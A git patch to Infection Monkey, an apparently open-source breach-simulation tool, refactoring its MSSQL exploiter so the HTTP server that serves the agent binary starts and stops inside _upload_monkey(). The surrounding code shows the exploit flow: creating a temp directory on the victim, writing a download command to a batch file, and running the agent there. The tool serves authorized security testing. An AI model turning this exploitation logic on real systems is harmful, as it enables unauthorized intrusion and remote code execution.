From 04460e1d44f60671aa4d64c436481c6b95aa8e51 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Jun 2022 14:28:45 -0400 Subject: [PATCH] Agent: Encapsulate "monkey server" details in _upload_monkey() --- monkey/infection_monkey/exploit/mssqlexec.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 700891c8f..3ec981c7d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -71,15 +71,9 @@ class MSSQLExploiter(HostExploiter): return self.exploit_result try: - # Create dir for payload self._create_temp_dir() - - http_thread = self._start_monkey_server(monkey_path_on_victim) self._upload_monkey(monkey_path_on_victim) - MSSQLExploiter._stop_monkey_server(http_thread) - self.run_monkey(monkey_path_on_victim) - self._remove_temp_dir() except Exception as e: error_message = ( @@ -102,9 +96,13 @@ class MSSQLExploiter(HostExploiter): self._run_mssql_command(mkdir_command) def _upload_monkey(self, monkey_path_on_victim: PureWindowsPath): + http_thread = self._start_monkey_server(monkey_path_on_victim) + self._write_download_command_to_batch_file(monkey_path_on_victim) self.run_payload_file() + MSSQLExploiter._stop_monkey_server(http_thread) + def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)